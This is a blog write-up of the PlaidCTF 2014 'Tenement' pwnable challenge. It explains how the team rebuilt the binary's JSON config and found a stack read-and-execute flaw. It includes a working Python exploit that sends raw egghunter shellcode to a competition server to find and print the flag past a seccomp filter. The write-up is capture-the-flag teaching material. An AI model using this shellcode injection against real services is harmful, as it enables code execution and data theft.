Monday, April 14, 2014

Pwnables 100 Tenement PlaidCTF 2014


Pwnables 100 PlaidCTF 2014

Credit to Ryan & Darek

This was a very interesting and fun challenge. First in order to debug the program live we had to install some dependencies:
  1. Libseccomp: libseccomp2_2.1.0+dfsg-1_i386.deb
  2. Libjansson: libjansson4_2.2.1-1_i386.deb
Now we are presented with the following message when trying to run the tenement program:


We need to provide a config file for the program. Upon further inspection of the executable we found that the config file needed to be in json format and the program expects the json to have two elements a string "key" and an integer array "addrs".



We see that the flag is snprintf into the heap in the following format: PPPP: FLAG. This will be important to us later when we want to find the flag in memory. After the config file is read into memory the executable calls mmap, then verifies (integer inside the addrs array – address returned by mmap = 4000h). If this check passes the executable copies the flag into the virtual address space created by mmap and marks the whole section as read only. 


Using this information we were able to recreate the json config file required to run program:

{ "key":"HEREISTHEFLAG" , "addrs":[-1208098816]}

Sure enough we can verify at run time the flag is copied into a very high address in memory: 0xB7FDA000.



Vulnerable Function

After the config file information is loaded it calls the vulnerable function. The function reads 0x80 bytes onto a stack address that is pointed to by edi, then calls edi. 


So we have the ability to put and run any shellcode we want on the stack. Unfortunately however, if you attempt to run shellcode that executes a system command like “ls” you get the following message: Bad System Call. The solution to this problem is to write shellcode that we will use as an egghunter to search memory for the “PPPP” tag, once the tag is found we can call write and print out the flag the assembly of our egghunter is as follows:


Our final exploit code:

# Imports
import socket

HOST = '54.237.240.143'       # The Host address to connect to
PORT = 9999                 # The port to connect to

# Create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the remote server
s.connect((HOST, PORT))

# Receive welcome text
r = s.recv(1024) 

# Print welcome text
print r

# Egghunter shellcode
shellcode = ("\xfc\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\xcd\x80\x3c\xf2\x74\xee\xb8\x50\x50\x50\x50\x89\xd7\xaf\x75\xe9\x89\xFB\x6A\x32\x53\x6A\x01\x57\xB8\x60\x88\x04\x08\xFF\xE0")

# Send the shellcode
s.send(shellcode)

# Shellcode is sent
print 'Waiting for flag'

# Receive flag
r = s.recv(1024) 

# Print the flag
print `r`

# Close our connection
s.close()
The Flag: